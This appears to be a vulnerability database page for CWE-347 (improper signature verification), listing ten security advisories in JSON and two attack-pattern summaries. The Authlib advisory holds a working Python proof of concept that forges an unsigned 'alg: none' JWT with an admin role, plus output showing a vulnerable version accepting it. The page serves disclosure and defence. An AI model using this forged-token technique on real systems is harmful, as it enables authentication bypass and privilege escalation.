CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1277 vulnerabilities reference this CWE, most recent first.
GHSA-7V4M-QGJ2-P3JC
Vulnerability from github – Published: 2022-04-05 00:00 – Updated: 2022-04-14 00:00AVEVA System Platform versions 2017 through 2020 R2 P01 does not verify, or incorrectly verifies, the cryptographic signature for data.
{
"affected": [],
"aliases": [
"CVE-2021-32977"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-04T20:15:00Z",
"severity": "HIGH"
},
"details": "AVEVA System Platform versions 2017 through 2020 R2 P01 does not verify, or incorrectly verifies, the cryptographic signature for data.",
"id": "GHSA-7v4m-qgj2-p3jc",
"modified": "2022-04-14T00:00:44Z",
"published": "2022-04-05T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32977"
},
{
"type": "WEB",
"url": "https://www.aveva.com/content/dam/aveva/documents/support/cyber-security-updates/SecurityBulletin_AVEVA-2021-002.pdf"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-180-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7W7C-RQJ8-5PMG
Vulnerability from github – Published: 2024-02-08 15:30 – Updated: 2024-02-08 15:30Improper Verification of Cryptographic Signature vulnerability in Snow Software Inventory Agent on MacOS, Snow Software Inventory Agent on Windows, Snow Software Inventory Agent on Linux allows File Manipulation through Snow Update Packages.This issue affects Inventory Agent: through 6.12.0; Inventory Agent: through 6.14.5; Inventory Agent: through 6.7.2.
{
"affected": [],
"aliases": [
"CVE-2024-1149"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-08T13:15:09Z",
"severity": "HIGH"
},
"details": "Improper Verification of Cryptographic Signature vulnerability in Snow Software Inventory Agent on MacOS, Snow Software Inventory Agent on Windows, Snow Software Inventory Agent on Linux allows File Manipulation through Snow Update Packages.This issue affects Inventory Agent: through 6.12.0; Inventory Agent: through 6.14.5; Inventory Agent: through 6.7.2.\n\n",
"id": "GHSA-7w7c-rqj8-5pmg",
"modified": "2024-02-08T15:30:27Z",
"published": "2024-02-08T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1149"
},
{
"type": "WEB",
"url": "https://community.snowsoftware.com/s/feed/0D5Td000004YtMcKAK"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WC2-QXGW-G8GG
Vulnerability from github – Published: 2026-03-04 20:55 – Updated: 2026-03-06 21:56Summary
After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.
Details
It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75
PoC
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64
def create_jwks():
private_key = rsa.generate_private_key(
public_exponent=65537, key_size=2048, backend=default_backend()
)
public_pem = private_key.public_key().public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
jwk = JsonWebKey.import_key(public_pem).as_dict()
jwk["kid"] = "test-key-001"
jwk["use"] = "sig"
jwk["alg"] = "RS256"
jwks = {"keys": [jwk]}
return jwks
def create_forged_token_with_alg_none():
forged_header = {"alg": "none"}
forged_payload = {
"sub": "user123",
"role": "admin",
"iat": 1735603200,
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(forged_header).encode("utf-8")
).rstrip(b"=")
payload_b64 = base64.urlsafe_b64encode(
json.dumps(forged_payload).encode("utf-8")
).rstrip(b"=")
forged_token = header_b64 + b"." + payload_b64 + b"."
return forged_token
jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
claims = jwt.decode(forged_token, jwks)
print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
print(f"SECURE: Token rejected - {type(e).__name__}")
Output:
pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py
VULNERABLE: Forged token (alg:none) accepted: role=admin
Impact
Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.
Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.6"
},
"package": {
"ecosystem": "PyPI",
"name": "authlib"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.5"
},
{
"fixed": "1.6.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28802"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:55:47Z",
"nvd_published_at": "2026-03-06T07:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nAfter upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. \n\n### Details\nIt was likely introduced in this commit:\nhttps://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75\n\n### PoC\n```\nfrom authlib.jose import jwt, JsonWebKey\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.backends import default_backend\nimport json\nimport base64\n\n\ndef create_jwks():\n private_key = rsa.generate_private_key(\n public_exponent=65537, key_size=2048, backend=default_backend()\n )\n public_pem = private_key.public_key().public_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PublicFormat.SubjectPublicKeyInfo,\n )\n jwk = JsonWebKey.import_key(public_pem).as_dict()\n jwk[\"kid\"] = \"test-key-001\"\n jwk[\"use\"] = \"sig\"\n jwk[\"alg\"] = \"RS256\"\n jwks = {\"keys\": [jwk]}\n return jwks\n\n\ndef create_forged_token_with_alg_none():\n forged_header = {\"alg\": \"none\"}\n forged_payload = {\n \"sub\": \"user123\",\n \"role\": \"admin\",\n \"iat\": 1735603200,\n }\n\n header_b64 = base64.urlsafe_b64encode(\n json.dumps(forged_header).encode(\"utf-8\")\n ).rstrip(b\"=\")\n\n payload_b64 = base64.urlsafe_b64encode(\n json.dumps(forged_payload).encode(\"utf-8\")\n ).rstrip(b\"=\")\n\n forged_token = header_b64 + b\".\" + payload_b64 + b\".\"\n return forged_token\n\n\njwks = create_jwks()\nforged_token = create_forged_token_with_alg_none()\ntry:\n claims = jwt.decode(forged_token, jwks)\n print(f\"VULNERABLE: Forged token (alg:none) accepted: role={claims[\u0027role\u0027]}\")\nexcept Exception as e:\n print(f\"SECURE: Token rejected - {type(e).__name__}\")\n```\n\nOutput:\n```\npip install -q authlib==1.5.2\npython3 authlib_alg_none_vulnerability.py \nSECURE: Token rejected - BadSignatureError\npip install -q authlib==1.6.5\npython3 authlib_alg_none_vulnerability.py \nVULNERABLE: Forged token (alg:none) accepted: role=admin\n```\n\n### Impact\nUsers of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a \u0027secure by default\u0027 stance and default to rejecting it and allow the application to provide an algorithm whitelist.\n\nApplications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:\n- Authentication bypass\n- Privilege escalation\n- Unauthorized access\n- Modification of application data",
"id": "GHSA-7wc2-qxgw-g8gg",
"modified": "2026-03-06T21:56:55Z",
"published": "2026-03-04T20:55:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7wc2-qxgw-g8gg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28802"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/b87c32ed07b8ae7f805873e1c9cafd1016761df7"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification"
}
GHSA-7XFJ-4R7X-3733
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-21 21:30Howyar UEFI Application "Reloader" (32-bit and 64-bit) is vulnerable to execution of unsigned software in a hardcoded path.
{
"affected": [],
"aliases": [
"CVE-2024-7344"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:34Z",
"severity": "MODERATE"
},
"details": "Howyar UEFI Application \"Reloader\" (32-bit and 64-bit) is vulnerable to execution of unsigned software in a hardcoded path.",
"id": "GHSA-7xfj-4r7x-3733",
"modified": "2025-01-21T21:30:50Z",
"published": "2025-01-14T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7344"
},
{
"type": "WEB",
"url": "https://uefi.org/revocationlistfile"
},
{
"type": "WEB",
"url": "https://uefi.org/specs/UEFI/2.10/03_Boot_Manager.html"
},
{
"type": "WEB",
"url": "https://uefi.org/specs/UEFI/2.10/32_Secure_Boot_and_Driver_Signing.html"
},
{
"type": "WEB",
"url": "https://www.eset.com/blog/enterprise/preparing-for-uefi-bootkits-eset-discovery-shows-the-importance-of-cyber-intelligence"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/529659"
},
{
"type": "WEB",
"url": "https://www.welivesecurity.com/en/eset-research/under-cloak-uefi-secure-boot-introducing-cve-2024-7344"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7XHQ-G53M-H2MX
Vulnerability from github – Published: 2023-08-31 18:30 – Updated: 2023-08-31 18:30Local privilege escalation due to unrestricted loading of unsigned libraries. The following products are affected: Acronis Agent (macOS) before build 30600, Acronis Cyber Protect 15 (macOS) before build 35979.
{
"affected": [],
"aliases": [
"CVE-2023-41744"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-31T16:15:10Z",
"severity": "HIGH"
},
"details": "Local privilege escalation due to unrestricted loading of unsigned libraries. The following products are affected: Acronis Agent (macOS) before build 30600, Acronis Cyber Protect 15 (macOS) before build 35979.",
"id": "GHSA-7xhq-g53m-h2mx",
"modified": "2023-08-31T18:30:28Z",
"published": "2023-08-31T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41744"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-4728"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8379-29X8-JJMF
Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32openssl_encrypt versions before 1.4.9 contain a signature verification vulnerability in gpg_runner.verify_detached that accepts revoked and expired keys by only checking VALIDSIG status without inspecting REVKEYSIG, EXPKEYSIG, or gpg exit codes. Attackers holding compromised-then-revoked signing keys or expired project keys can bypass signature verification to execute malicious plugins in the host process.
{
"affected": [],
"aliases": [
"CVE-2026-81700"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T17:21:00Z",
"severity": "CRITICAL"
},
"details": "openssl_encrypt versions before 1.4.9 contain a signature verification vulnerability in gpg_runner.verify_detached that accepts revoked and expired keys by only checking VALIDSIG status without inspecting REVKEYSIG, EXPKEYSIG, or gpg exit codes. Attackers holding compromised-then-revoked signing keys or expired project keys can bypass signature verification to execute malicious plugins in the host process.",
"id": "GHSA-8379-29x8-jjmf",
"modified": "2026-08-27T18:32:28Z",
"published": "2026-08-27T18:32:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-x38r-8wf3-q9hq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81700"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-gpg-signature-verification-bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-83H2-XPGJ-MF4Q
Vulnerability from github – Published: 2026-08-18 21:31 – Updated: 2026-08-18 21:31Missing signature validation in JSON Web Tokens in Otalio Ship Property Management System versions before 2.22.0 allows authenticated attackers to escalate privileges via tampering with JWTs
{
"affected": [],
"aliases": [
"CVE-2025-9210"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T19:16:43Z",
"severity": "HIGH"
},
"details": "Missing signature validation in JSON Web Tokens in Otalio Ship Property Management System versions before 2.22.0 allows authenticated attackers to escalate privileges via tampering with JWTs",
"id": "GHSA-83h2-xpgj-mf4q",
"modified": "2026-08-18T21:31:49Z",
"published": "2026-08-18T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9210"
},
{
"type": "WEB",
"url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0023.md"
},
{
"type": "WEB",
"url": "https://www.otalio.com/solutions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8474-V7FQ-4HMM
Vulnerability from github – Published: 2023-10-10 15:30 – Updated: 2024-04-04 08:29The BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process. This vulnerability is due to an incomplete fix for CVE-2023-38418. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
{
"affected": [],
"aliases": [
"CVE-2023-43611"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T13:15:21Z",
"severity": "HIGH"
},
"details": "\nThe BIG-IP Edge Client Installer on macOS does not follow best practices for elevating privileges during the installation process.\u00a0 This vulnerability is due to an incomplete fix for CVE-2023-38418.\u00a0\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated\n\n",
"id": "GHSA-8474-v7fq-4hmm",
"modified": "2024-04-04T08:29:18Z",
"published": "2023-10-10T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43611"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000136185"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-849V-5927-J7JQ
Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-12-17 21:30A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2025-43468"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T02:15:51Z",
"severity": "HIGH"
},
"details": "A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access sensitive user data.",
"id": "GHSA-849v-5927-j7jq",
"modified": "2025-12-17T21:30:38Z",
"published": "2025-11-04T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43468"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125634"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125635"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-84WC-9427-HW23
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-2021"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-29T15:15:00Z",
"severity": "HIGH"
},
"details": "When Security Assertion Markup Language (SAML) authentication is enabled and the \u0027Validate Identity Provider Certificate\u0027 option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the \u0027Validate Identity Provider Certificate\u0027 option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.",
"id": "GHSA-84wc-9427-hw23",
"modified": "2025-10-22T00:31:55Z",
"published": "2022-05-24T17:22:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2021"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2020-2021"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.